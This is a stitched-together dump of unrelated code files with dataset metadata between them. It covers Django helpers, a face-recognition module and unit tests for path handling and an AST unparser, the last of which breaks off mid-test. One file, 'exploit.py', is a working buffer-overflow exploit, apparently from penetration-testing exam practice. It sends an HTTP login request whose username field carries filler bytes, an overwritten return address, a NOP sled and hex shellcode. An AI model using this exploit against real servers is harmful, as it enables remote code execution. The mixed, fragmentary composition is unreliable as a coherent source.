first_not_none(d.get('b'), d.get('a'))) def test_relativize_relative_resource_path(self): with self.assertRaises(ValueError): relativize_relative_resource_path('doc/', '') with self.assertRaises(ValueError): relativize_relative_resource_path('doc/', 'path/') with self.assertRaises(ValueError): relativize_relative_resource_path('doc/', None) with self.assertRaises(ValueError): relativize_relative_resource_path('doc', 'index.html') with self.assertRaises(ValueError): relativize_relative_resource_path('/', 'index.html') self.assertEqual('../', relativize_relative_resource_path('../', 'index.html')) self.assertEqual('', relativize_relative_resource_path('', 'index.html')) self.assertEqual('doc/', relativize_relative_resource_path('doc/', 'index.html')) self.assertEqual('doc/pict/', relativize_relative_resource_path('doc/pict/', 'index.html')) self.assertEqual('../../', relativize_relative_resource_path('../', 'doc/index.html')) self.assertEqual('../', relativize_relative_resource_path('', 'doc/index.html')) self.assertEqual('', relativize_relative_resource_path('doc/', 'doc/index.html')) self.assertEqual('pict/', relativize_relative_resource_path('doc/pict/', 'doc/index.html')) self.assertEqual('../pict/', relativize_relative_resource_path('pict/', 'doc/index.html')) self.assertEqual('../pict/doc/', relativize_relative_resource_path('pict/doc/', 'doc/index.html')) self.assertEqual('../../pict/', relativize_relative_resource_path('pict/', 'doc/chapter01/index.html')) self.assertEqual('../../pict/doc/', relativize_relative_resource_path('pict/doc/', 'doc/chapter01/index.html')) self.assertEqual('', relativize_relative_resource_path('./', 'index.html')) self.assertEqual('../', relativize_relative_resource_path('./', 'doc/index.html')) def test_relativize_relative_resource(self): with self.assertRaises(ValueError): relativize_relative_resource('styles.css', '') with self.assertRaises(ValueError): relativize_relative_resource('styles.css', 'doc/') with self.assertRaises(ValueError): relativize_relative_resource('styles.css', None) with self.assertRaises(ValueError): relativize_relative_resource('', 'index.html') with self.assertRaises(ValueError): relativize_relative_resource('doc/', 'index.html') with self.assertRaises(ValueError): relativize_relative_resource(None, 'index.html') self.assertEqual('styles.css', relativize_relative_resource('styles.css', 'index.html')) self.assertEqual('doc/styles.css', relativize_relative_resource('doc/styles.css', 'index.html')) self.assertEqual('doc/pict/logo.png', relativize_relative_resource('doc/pict/logo.png', 'index.html')) self.assertEqual('../../logo.png', relativize_relative_resource('../logo.png', 'doc/index.html')) self.assertEqual('../logo.png', relativize_relative_resource('logo.png', 'doc/index.html')) self.assertEqual('logo.png', relativize_relative_resource('doc/logo.png', 'doc/index.html')) self.assertEqual('pict/logo.png', relativize_relative_resource('doc/pict/logo.png', 'doc/index.html')) self.assertEqual('../pict/logo.png', relativize_relative_resource('pict/logo.png', 'doc/index.html')) self.assertEqual('../pict/doc/logo.png', relativize_relative_resource('pict/doc/logo.png', 'doc/index.html')) self.assertEqual('../../pict/logo.png', relativize_relative_resource('pict/logo.png', 'doc/chapter01/index.html')) self.assertEqual('../../pict/doc/logo.png', relativize_relative_resource('pict/doc/logo.png', 'doc/chapter01/index.html')) self.assertEqual('logo.png', relativize_relative_resource('./logo.png', 'index.html')) self.assertEqual('../logo.png', relativize_relative_resource('./logo.png', 'doc/index.html')) if __name__ == '__main__': unittest.main()
59.957265
131
0.666287
795
7,015
5.630189
0.080503
0.187668
0.23235
0.144772
0.824397
0.769214
0.714477
0.678731
0.637176
0.510724
0
0.002569
0.167783
7,015
116
132
60.474138
0.764132
0
0
0.15625
0
0
0.245833
0.066386
0
0
0
0
0.708333
1
0.072917
false
0
0.041667
0
0.125
0
0
0
0
null
0
1
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
5
68081936e790250c6f992a6b7755d89c7ec639c4
105
py
Python
apps/features/context_processors.py
ExpoAshique/ProveBanking__s
f0b45fffea74d00d14014be27aa50fe5f42f6903
[ "MIT" ]
null
null
null
apps/features/context_processors.py
ExpoAshique/ProveBanking__s
f0b45fffea74d00d14014be27aa50fe5f42f6903
[ "MIT" ]
null
null
null
apps/features/context_processors.py
ExpoAshique/ProveBanking__s
f0b45fffea74d00d14014be27aa50fe5f42f6903
[ "MIT" ]
null
null
null
from . import registry def features_processor(request): return {'features': registry.CODENAME_MAP}
17.5
46
0.761905
12
105
6.5
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.142857
105
5
47
21
0.866667
0
0
0
0
0
0.07619
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
0
0
0
5
a83b821e6f3e5d495acdbb05f6c3aa2bd8630648
94
py
Python
systems/control/hardware/source.py
stylekilla/syncmrt
816bb57d80d6595719b8b9d7f027f4f17d0a6c0a
[ "Apache-2.0" ]
null
null
null
systems/control/hardware/source.py
stylekilla/syncmrt
816bb57d80d6595719b8b9d7f027f4f17d0a6c0a
[ "Apache-2.0" ]
25
2019-03-05T05:56:35.000Z
2019-07-24T13:11:57.000Z
systems/control/hardware/source.py
stylekilla/syncmrt
816bb57d80d6595719b8b9d7f027f4f17d0a6c0a
[ "Apache-2.0" ]
1
2019-11-27T05:10:47.000Z
2019-11-27T05:10:47.000Z
class source: def __init__(self,name=None,pv=None,fp=None,ui=None): self._name = str(name)
23.5
54
0.723404
17
94
3.705882
0.647059
0.253968
0
0
0
0
0
0
0
0
0
0
0.106383
94
3
55
31.333333
0.75
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
5
a8bacd48a79522c00013cd5ae5dc2607c8df2369
113
py
Python
python/wordcount/stopwords_provider.py
slieser/flowdesignbuch
ccad17922b01d10b7d3233b728b26fc936a79137
[ "MIT" ]
3
2020-10-29T06:07:28.000Z
2022-01-07T11:59:43.000Z
python/wordcount/stopwords_provider.py
slieser/flowdesignbuch
ccad17922b01d10b7d3233b728b26fc936a79137
[ "MIT" ]
8
2020-07-07T19:08:37.000Z
2022-02-26T03:00:56.000Z
python/wordcount/stopwords_provider.py
slieser/flowdesignbuch
ccad17922b01d10b7d3233b728b26fc936a79137
[ "MIT" ]
1
2021-08-05T08:01:57.000Z
2021-08-05T08:01:57.000Z
def read_stopwords(): with open("stopwords.txt", "r") as f: return [x.strip() for x in f.readlines()]
37.666667
49
0.610619
18
113
3.777778
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.212389
113
3
49
37.666667
0.764045
0
0
0
0
0
0.122807
0
0
0
0
0
0
1
0.333333
true
0
0
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
1
0
0
5
a8c02261ae8e78c4000c3b9f3cffff80edbeabd2
44
py
Python
quorachallenge/__init__.py
TonyFlury/QuoraChallenge
df4146787e871fced196f2e22f31d0ef5b1f1ad9
[ "MIT" ]
null
null
null
quorachallenge/__init__.py
TonyFlury/QuoraChallenge
df4146787e871fced196f2e22f31d0ef5b1f1ad9
[ "MIT" ]
3
2019-10-18T09:07:04.000Z
2019-10-18T11:00:01.000Z
quorachallenge/__init__.py
TonyFlury/QuoraChallenge
df4146787e871fced196f2e22f31d0ef5b1f1ad9
[ "MIT" ]
null
null
null
# coding=utf-8 from .quorachallenge import *
22
29
0.772727
6
44
5.666667
1
0
0
0
0
0
0
0
0
0
0
0.025641
0.113636
44
2
29
22
0.846154
0.272727
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
a8d93b6e709ca336060e73fe74cb3e54d999d413
40
py
Python
checkov/kubernetes/__init__.py
vangundy-jason-pfg/checkov
2fb50908f62390c98dda665f1fa94fe24806b654
[ "Apache-2.0" ]
1
2021-02-13T15:24:42.000Z
2021-02-13T15:24:42.000Z
checkov/kubernetes/__init__.py
vangundy-jason-pfg/checkov
2fb50908f62390c98dda665f1fa94fe24806b654
[ "Apache-2.0" ]
7
2021-04-12T06:54:07.000Z
2022-03-21T14:04:14.000Z
checkov/kubernetes/__init__.py
vangundy-jason-pfg/checkov
2fb50908f62390c98dda665f1fa94fe24806b654
[ "Apache-2.0" ]
1
2021-12-16T03:09:55.000Z
2021-12-16T03:09:55.000Z
from checkov.kubernetes.checks import *
20
39
0.825
5
40
6.6
1
0
0
0
0
0
0
0
0
0
0
0
0.1
40
1
40
40
0.916667
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
767ed845f5d3828af73588f1b51165d9ec36c11b
242
py
Python
core/storage_backends.py
Athenaazar/django-ecommerce
6cf467d7c273cb3e1d86549d74aa660175ce2156
[ "MIT" ]
null
null
null
core/storage_backends.py
Athenaazar/django-ecommerce
6cf467d7c273cb3e1d86549d74aa660175ce2156
[ "MIT" ]
null
null
null
core/storage_backends.py
Athenaazar/django-ecommerce
6cf467d7c273cb3e1d86549d74aa660175ce2156
[ "MIT" ]
null
null
null
from storages.backends.s3boto3 import S3Boto3Storage from django.conf import settings class StaticStorage(S3Boto3Storage): location = settings.STATIC_LOCATION class MediaStorage(S3Boto3Storage): location = settings.MEDIA_LOCATION
22
52
0.822314
25
242
7.88
0.6
0.22335
0.304569
0
0
0
0
0
0
0
0
0.037736
0.123967
242
10
53
24.2
0.891509
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
4f657d2ba63e0d6ec98f12645390669aa2d916d2
112
py
Python
main.py
LuminetteBourgeons/smart-home
c9b658281d1766be7ee51f3267b5193545b06b7d
[ "Apache-2.0" ]
3
2021-07-21T01:26:00.000Z
2022-01-16T17:26:43.000Z
main.py
LuminetteBourgeons/smart-home
c9b658281d1766be7ee51f3267b5193545b06b7d
[ "Apache-2.0" ]
null
null
null
main.py
LuminetteBourgeons/smart-home
c9b658281d1766be7ee51f3267b5193545b06b7d
[ "Apache-2.0" ]
2
2021-07-19T09:47:46.000Z
2021-07-24T07:10:02.000Z
import tsensor.get_thermal as get_thermal if __name__ == "__main__": get_thermal.app.run(get_thermal.main)
22.4
41
0.776786
17
112
4.411765
0.588235
0.533333
0
0
0
0
0
0
0
0
0
0
0.125
112
5
42
22.4
0.765306
0
0
0
0
0
0.070796
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
4f75750f81262afa71a2deb024abee47623c90fb
31
py
Python
coursework/Miscellaneous/Experiment.py
JeffreyW2468/CSP-stuffu
82068f0ef6d8f823d2cc8106680bf1b432c5cddb
[ "MIT" ]
null
null
null
coursework/Miscellaneous/Experiment.py
JeffreyW2468/CSP-stuffu
82068f0ef6d8f823d2cc8106680bf1b432c5cddb
[ "MIT" ]
null
null
null
coursework/Miscellaneous/Experiment.py
JeffreyW2468/CSP-stuffu
82068f0ef6d8f823d2cc8106680bf1b432c5cddb
[ "MIT" ]
null
null
null
input("please enter your name")
31
31
0.774194
5
31
4.8
1
0
0
0
0
0
0
0
0
0
0
0
0.096774
31
1
31
31
0.857143
0
0
0
0
0
0.6875
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
4f7e88bffd8280ef969456d2e552e80c0382f22b
94
py
Python
app/employees/admin.py
swelanauguste/tami_map_service_slu
92a8e559f277d93e261420a31f8e532a0d99d93c
[ "MIT" ]
null
null
null
app/employees/admin.py
swelanauguste/tami_map_service_slu
92a8e559f277d93e261420a31f8e532a0d99d93c
[ "MIT" ]
null
null
null
app/employees/admin.py
swelanauguste/tami_map_service_slu
92a8e559f277d93e261420a31f8e532a0d99d93c
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Employee admin.site.register(Employee)
15.666667
32
0.819149
13
94
5.923077
0.692308
0
0
0
0
0
0
0
0
0
0
0
0.117021
94
5
33
18.8
0.927711
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
4f8a6ea4b4013da105871d25e32c55571bfdf36f
5,638
py
Python
surveillance/face_recognizer.py
Jaber-Al-Siam/CCTVMS
12248c6533264c8bdc165c9145919b2bc6c5acf0
[ "MIT" ]
null
null
null
surveillance/face_recognizer.py
Jaber-Al-Siam/CCTVMS
12248c6533264c8bdc165c9145919b2bc6c5acf0
[ "MIT" ]
null
null
null
surveillance/face_recognizer.py
Jaber-Al-Siam/CCTVMS
12248c6533264c8bdc165c9145919b2bc6c5acf0
[ "MIT" ]
null
null
null
import cv2 import face_recognition import numpy as np import pickle _KNOWN_FACE_ENCODINGS_FILE = 'known-face-encodings.pkl' _KNOWN_FACE_IDS_FILE = 'known-face-ids.pkl' # the two lists are parallel. meaning, # face_encoding at index 0 of 'known_face_encodings' belongs to the face_id at index 0 of 'known_face_ids' # known_face_encodings = [] # known_face_ids = [] def _read_list_of_objects_from_file(filepath): obj_list = [] try: file = open(filepath, "rb") obj_list = pickle.load(file) file.close() except Exception as e: print(f'error inside _read_list_of_objects_from_file() function. filepath={filepath}, error={str(e)}') return obj_list def _save_list_of_objects_to_file(filepath, obj_list=[]): try: file = open(filepath, "wb") pickle.dump(obj_list, file) file.close() except Exception as e: print(f'error inside _save_list_of_objects_to_file() function. filepath={filepath}, error={str(e)}') return False return True def save_face_from_image_path(single_face_image_path, face_id): try: known_face_encodings = _read_list_of_objects_from_file(_KNOWN_FACE_ENCODINGS_FILE) known_face_ids = _read_list_of_objects_from_file(_KNOWN_FACE_IDS_FILE) face_image = face_recognition.load_image_file(single_face_image_path) face_encoding = face_recognition.face_encodings(face_image)[0] known_face_encodings.append(face_encoding) known_face_ids.append(face_id) _save_list_of_objects_to_file(filepath=_KNOWN_FACE_ENCODINGS_FILE, obj_list=known_face_encodings) _save_list_of_objects_to_file(filepath=_KNOWN_FACE_IDS_FILE, obj_list=known_face_ids) except Exception as e: print(f'error inside save_face() function. image_path={single_face_image_path}, error={str(e)}') def save_face_from_video_path(video_path, face_id): try: known_face_encodings = _read_list_of_objects_from_file(_KNOWN_FACE_ENCODINGS_FILE) known_face_ids = _read_list_of_objects_from_file(_KNOWN_FACE_IDS_FILE) cap = cv2.VideoCapture(video_path) grabbed, frame = cap.read() frame_count = 0 while grabbed: face_encoding = face_recognition.face_encodings(frame) if len(face_encoding) > 0: known_face_encodings.append(face_encoding[0]) known_face_ids.append(face_id) print(frame_count) grabbed, frame = cap.read() frame_count += 1 _save_list_of_objects_to_file(filepath=_KNOWN_FACE_ENCODINGS_FILE, obj_list=known_face_encodings) _save_list_of_objects_to_file(filepath=_KNOWN_FACE_IDS_FILE, obj_list=known_face_ids) print('Finish') except Exception as e: print(f'error inside save_face() function, error={str(e)}') def save_face(face_image, face_id): try: known_face_encodings = _read_list_of_objects_from_file(_KNOWN_FACE_ENCODINGS_FILE) known_face_ids = _read_list_of_objects_from_file(_KNOWN_FACE_IDS_FILE) face_encoding = face_recognition.face_encodings(face_image)[0] known_face_encodings.append(face_encoding) known_face_ids.append(face_id) _save_list_of_objects_to_file(filepath=_KNOWN_FACE_ENCODINGS_FILE, obj_list=known_face_encodings) _save_list_of_objects_to_file(filepath=_KNOWN_FACE_IDS_FILE, obj_list=known_face_ids) except Exception as e: print(f'error inside save_face() function, error={str(e)}') def match_face_from_image_path(image_path): # load known_face_encodings and known_face_ids from file known_face_encodings = _read_list_of_objects_from_file(_KNOWN_FACE_ENCODINGS_FILE) known_face_ids = _read_list_of_objects_from_file(_KNOWN_FACE_IDS_FILE) detected_face_ids = [] face_image = face_recognition.load_image_file(image_path) face_locations = face_recognition.face_locations(face_image) unknown_face_encodings = face_recognition.face_encodings(face_image, face_locations) for unknown_face_encoding in unknown_face_encodings: matches = face_recognition.compare_faces(known_face_encodings, unknown_face_encoding) face_distances = face_recognition.face_distance(known_face_encodings, unknown_face_encoding) best_match_index = np.argmin(face_distances) # get index of minimum face_distance if matches[best_match_index]: detected_face_id = known_face_ids[best_match_index] detected_face_ids.append(detected_face_id) else: detected_face_ids.append(-1) return detected_face_ids def match_face(image): # load known_face_encodings and known_face_ids from file known_face_encodings = _read_list_of_objects_from_file(_KNOWN_FACE_ENCODINGS_FILE) known_face_ids = _read_list_of_objects_from_file(_KNOWN_FACE_IDS_FILE) detected_face_ids = [] face_locations = face_recognition.face_locations(image) unknown_face_encodings = face_recognition.face_encodings(image, face_locations) for unknown_face_encoding in unknown_face_encodings: matches = face_recognition.compare_faces(known_face_encodings, unknown_face_encoding) face_distances = face_recognition.face_distance(known_face_encodings, unknown_face_encoding) best_match_index = np.argmin(face_distances) # get index of minimum face_distance if matches[best_match_index]: detected_face_id = known_face_ids[best_match_index] detected_face_ids.append(detected_face_id) else: detected_face_ids.append(-1) return detected_face_ids
38.353741
110
0.750089
794
5,638
4.789673
0.108312
0.132527
0.13726
0.053642
0.882461
0.874047
0.766237
0.734157
0.663687
0.662635
0
0.002601
0.181625
5,638
146
111
38.616438
0.82163
0.065094
0
0.61
0
0
0.079437
0.023565
0
0
0
0
0
1
0.07
false
0
0.04
0
0.16
0.07
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
96edff9fb05b7bd22559edaf7b3bfe59cfecc4f0
64
py
Python
tests/test_main.py
damcio/-Bio-Projekt-semestralny
717d6e3334664306cadb3699cd72ea8b3e58dff7
[ "Apache-2.0" ]
null
null
null
tests/test_main.py
damcio/-Bio-Projekt-semestralny
717d6e3334664306cadb3699cd72ea8b3e58dff7
[ "Apache-2.0" ]
null
null
null
tests/test_main.py
damcio/-Bio-Projekt-semestralny
717d6e3334664306cadb3699cd72ea8b3e58dff7
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 def test_sequence(): assert 2 + 2 == 4
10.666667
21
0.59375
10
64
3.7
0.9
0
0
0
0
0
0
0
0
0
0
0.081633
0.234375
64
5
22
12.8
0.673469
0.265625
0
0
0
0
0
0
0
0
0
0
0.5
1
0.5
true
0
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
0
0
0
0
0
5
8c08f0af0fded92ce42f15ef9dd00723645c171e
2,924
py
Python
buff-overflows/exploit.py
mwnickerson/oscp-scripts
cfada1b72c2dcf1bdcf08f408558cf02867ec89d
[ "MIT" ]
5
2022-03-20T08:35:09.000Z
2022-03-27T16:28:47.000Z
buff-overflows/exploit.py
mwnickerson/oscp-scripts
cfada1b72c2dcf1bdcf08f408558cf02867ec89d
[ "MIT" ]
null
null
null
buff-overflows/exploit.py
mwnickerson/oscp-scripts
cfada1b72c2dcf1bdcf08f408558cf02867ec89d
[ "MIT" ]
1
2022-03-20T14:11:19.000Z
2022-03-20T14:11:19.000Z
#!/bin/python # A script to replicate the crash of the application with HTTP requests import socket try: print "\nSending Evil Buffer..." # Our shell code shellcode = ("\xb8\xab\x39\x2f\xbb\xdb\xc0\xd9\x74\x24\xf4\x5b\x31\xc9\xb1" "\x52\x31\x43\x12\x83\xc3\x04\x03\xe8\x37\xcd\x4e\x12\xaf\x93" "\xb1\xea\x30\xf4\x38\x0f\x01\x34\x5e\x44\x32\x84\x14\x08\xbf" "\x6f\x78\xb8\x34\x1d\x55\xcf\xfd\xa8\x83\xfe\xfe\x81\xf0\x61" "\x7d\xd8\x24\x41\xbc\x13\x39\x80\xf9\x4e\xb0\xd0\x52\x04\x67" "\xc4\xd7\x50\xb4\x6f\xab\x75\xbc\x8c\x7c\x77\xed\x03\xf6\x2e" "\x2d\xa2\xdb\x5a\x64\xbc\x38\x66\x3e\x37\x8a\x1c\xc1\x91\xc2" "\xdd\x6e\xdc\xea\x2f\x6e\x19\xcc\xcf\x05\x53\x2e\x6d\x1e\xa0" "\x4c\xa9\xab\x32\xf6\x3a\x0b\x9e\x06\xee\xca\x55\x04\x5b\x98" "\x31\x09\x5a\x4d\x4a\x35\xd7\x70\x9c\xbf\xa3\x56\x38\x9b\x70" "\xf6\x19\x41\xd6\x07\x79\x2a\x87\xad\xf2\xc7\xdc\xdf\x59\x80" "\x11\xd2\x61\x50\x3e\x65\x12\x62\xe1\xdd\xbc\xce\x6a\xf8\x3b" "\x30\x41\xbc\xd3\xcf\x6a\xbd\xfa\x0b\x3e\xed\x94\xba\x3f\x66" "\x64\x42\xea\x29\x34\xec\x45\x8a\xe4\x4c\x36\x62\xee\x42\x69" "\x92\x11\x89\x02\x39\xe8\x5a\xed\x16\x85\x5b\x85\x64\x69\x5d" "\xed\xe0\x8f\x37\x01\xa5\x18\xa0\xb8\xec\xd2\x51\x44\x3b\x9f" "\x52\xce\xc8\x60\x1c\x27\xa4\x72\xc9\xc7\xf3\x28\x5c\xd7\x29" "\x44\x02\x4a\xb6\x94\x4d\x77\x61\xc3\x1a\x49\x78\x81\xb6\xf0" "\xd2\xb7\x4a\x64\x1c\x73\x91\x55\xa3\x7a\x54\xe1\x87\x6c\xa0" "\xea\x83\xd8\x7c\xbd\x5d\xb6\x3a\x17\x2c\x60\x95\xc4\xe6\xe4" "\x60\x27\x39\x72\x6d\x62\xcf\x9a\xdc\xdb\x96\xa5\xd1\x8b\x1e" "\xde\x0f\x2c\xe0\x35\x94\x5c\xab\x17\xbd\xf4\x72\xc2\xff\x98" "\x84\x39\xc3\xa4\x06\xcb\xbc\x52\x16\xbe\xb9\x1f\x90\x53\xb0" "\x30\x75\x53\x67\x30\x5c") # Creates the Buffer filler = "A" * 780 eip = "\x83\x0c\x09\x10" offset = "C" * 4 nops = "\x90" * 10 # Creates the web request input_buffer = filler + eip + offset + nops + shellcode content = "username=" + input_buffer + "&password=A" buffer = "POST /login HTTP/1.1\r\n" buffer += "Host: 192.168.193.10\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n" buffer += "Accept: text/html,application/xhmtl+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n" buffer += "Accept-Language: En-US,en;q=0.5\r\n" buffer += "Accept-Encoding: gzip, deflate\r\n" buffer += "Referer: http://192.168.193.10/login\r\n" buffer += "Connection: close\r\n" buffer += "Content-Type: application/x-www-form-urlencoded\r\n" buffer += "Content-Length: "+str(len(content))+"\r\n" buffer += "\r\n" buffer += content # makes the connection to the web app s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.193.10", 80)) s.send(buffer) s.close() print "\nDone!" except: print "\nCould not connect!"
37.487179
102
0.646033
556
2,924
3.388489
0.523381
0.011677
0.046709
0.017516
0
0
0
0
0
0
0
0.20787
0.139535
2,924
77
103
37.974026
0.540938
0.061218
0
0
0
0.480769
0.707388
0.555596
0
0
0
0
0
0
null
null
0.019231
0.019231
null
null
0.057692
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
8c1afce55559c73744f4b34515e76170170c9969
11,971
py
Python
integrationtests/blocks/unparser_test_case.py
enthought/codetools
20d8bb1eba68145750a1b689655b839078121474
[ "BSD-3-Clause" ]
29
2015-08-10T20:25:00.000Z
2021-11-30T23:34:24.000Z
integrationtests/blocks/unparser_test_case.py
enthought/codetools
20d8bb1eba68145750a1b689655b839078121474
[ "BSD-3-Clause" ]
40
2015-01-05T15:01:37.000Z
2022-03-11T13:47:06.000Z
integrationtests/blocks/unparser_test_case.py
enthought/codetools
20d8bb1eba68145750a1b689655b839078121474
[ "BSD-3-Clause" ]
4
2015-04-14T10:06:26.000Z
2021-01-19T16:46:48.000Z
# Standard library imports import unittest import compiler # Local imports from codetools.blocks.api import unparse class UnparseCompilerAstTestCase(unittest.TestCase): ########################################################################## # TestCase interface ########################################################################## def setUp(self): unittest.TestCase.setUp(self) def tearDown(self): unittest.TestCase.tearDown(self) ########################################################################## # UnparseCompilerAstTestCase interface ########################################################################## ### Test methods ####################################################### def test_import(self): code = "from foo import bar, foo as baz" self._check_round_trip(code) def test_print(self): code = "print x" self._check_round_trip(code) def test_print_multitple(self): code = "print x, y, z" self._check_round_trip(code) def test_print_redirect(self): code = "print >> error, x" self._check_round_trip(code) def test_unary_minus(self): code = "a = -1" self._check_round_trip(code) def test_assign_attr(self): code = 'foo.bar = baz' self._check_round_trip(code) def test_assign_constant(self): code = "a = 1" self._check_round_trip(code) def test_multiple_assign_constant(self): code = "a, b = 1, 2" desired = "a, b = (1, 2)" self._check_round_trip(code, desired) def test_empty_tuple(self): code = "a = ()" self._check_round_trip(code) def test_float_precision(self): # We want 0.1 -> 0.1, not 0.10000000000001 code = "0.1" self._check_round_trip(code) def test_function_call_without_return(self): code = "foo(a)" self._check_round_trip(code) def test_function_call_with_single_return(self): code = "b = foo(a)" self._check_round_trip(code) def test_function_call_with_multiple_return(self): code = "a, b = foo(a)" desired = "a, b = foo(a)" self._check_round_trip(code, desired) def test_function_call_with_multiple_inputs(self): code = "x = foo(a, b)" self._check_round_trip(code) def test_function_call_with_keyword_args(self): code = "x = foo(a, b=3)" self._check_round_trip(code) def test_function_call_with_star_args(self): code = "x = foo(*a)" self._check_round_trip(code) def test_function_call_with_dstar_args(self): code = "x = foo(**a)" self._check_round_trip(code) def test_function_call_with_arg_star_args_dstar_args(self): code = "x = foo(a, *b, **c)" self._check_round_trip(code) def test_function_definition(self): code = "def foo(a, b=3): \n" \ " return a" self._check_round_trip(code) def test_function_definition_multiple_returns(self): code = "def foo(a, b=3): \n" \ " return a, b" self._check_round_trip(code) def test_function_definition_with_decorator(self): code = "@testme\n" \ "def foo(a, b=3): \n" \ " return a" self._check_round_trip(code) def test_function_definition_no_indent(self): code = "x = foo(a, b)\n" \ "def bar(a, b): a = b+3; return a; \n" \ "y = bar(a, b)" self._check_round_trip_func_no_indent(code) def test_compare(self): code = "x = a-1 > b" self._check_round_trip(code) def test_compare_multiple(self): code = "x = 1 > a > b" self._check_round_trip(code) def test_add(self): code = "x = a+1" self._check_round_trip(code) def test_sub(self): code = "x = a-1" self._check_round_trip(code) def test_mul(self): code = "x = a*1" self._check_round_trip(code) def test_div(self): code = "x = a/1" self._check_round_trip(code) def test_power(self): code = "x = a**1" self._check_round_trip(code) def test_expression(self): code = "x = x+(x+2)*2" self._check_round_trip(code) def test_expression2(self): code = "x = x**(2+x)*3+2" self._check_round_trip(code) def test_expression3(self): code = "x = x**2+3*x+3/2" self._check_round_trip(code) def test_getattr(self): code = "foo.bar.baz" self._check_round_trip(code) def test_if(self): code = "if True: \n" \ " pass" self._check_round_trip(code) def test_if2(self): code = "if True: \n" \ " \n" \ " x = 4\n" \ "else: \n" \ " \n" \ " x = 5" self._check_round_trip(code) def test_if3(self): code = "if True: \n" \ " pass\n\n" \ "elif False: \n" \ " pass\n\n" \ "else: \n" \ " pass" self._check_round_trip(code) def test_if4(self): """ tests nested if blocks.""" # nested if blocks have an extra line code = "if True: \n" \ " \n" \ " if True: \n" \ " pass" self._check_round_trip(code) def test_if5(self): """ tests if block nested in else block. """ # nested if blocks have an extra line code = "if True: \n" \ " pass\n\n" \ "else: \n" \ " \n" \ " if True: \n" \ " pass" self._check_round_trip(code) def test_list(self): code = "[True]" self._check_round_trip(code) def test_list2(self): code = "[True, False]" self._check_round_trip(code) def test_list3(self): code = "[list()]" self._check_round_trip(code) def test_list4(self): code = "[1, 2, sin(3)]" self._check_round_trip(code) def test_subscript_with_int(self): code = "x = foo[0]" self._check_round_trip(code) def test_subscript_with_string(self): code = "x = foo['bar']" self._check_round_trip(code) def test_subscript_with_ellipses(self): code = "x = foo[...]" self._check_round_trip(code) def test_subscript_with_slice(self): code = "x = foo[1:2]" self._check_round_trip(code) def test_subscript_with_slice_no_lower(self): code = "x = foo[:1]" self._check_round_trip(code) def test_subscript_with_slice_no_upper(self): code = "x = foo[1:]" self._check_round_trip(code) def test_subscript_with_slice_no_lower_or_upper(self): code = "x = foo[:]" self._check_round_trip(code) def test_subscript_with_extended_slice(self): code = "x = foo[1:4:2]" self._check_round_trip(code) def test_subscript_with_extended_slice_no_lower(self): code = "x = foo[:4:2]" self._check_round_trip(code) def test_subscript_with_extended_slice_no_upper(self): code = "x = foo[1::2]" self._check_round_trip(code) def test_subscript_with_extended_slice_no_step(self): code = "x = foo[1:1:]" self._check_round_trip(code) def test_subscript_with_extended_slice_no_values(self): code = "x = foo[::]" self._check_round_trip(code) def test_subscript_with_multiple_dims(self): code = "x = foo[1,2]" self._check_round_trip(code) def test_subscript_with_multiple_dims_with_slices(self): code = "x = foo[1,::2]" self._check_round_trip(code) def test_short_program_with_doc_string(self): code = "'doc string'\n" \ "from foo_mod import foo2 as foo, bar as bar2\n" \ "c,d = foo(a,b=3)\n" \ "k,l = foo2(a,b)\n" \ "e = bar(c)\n" \ "f = baz(d)\n" \ "d = zi(e)\n" 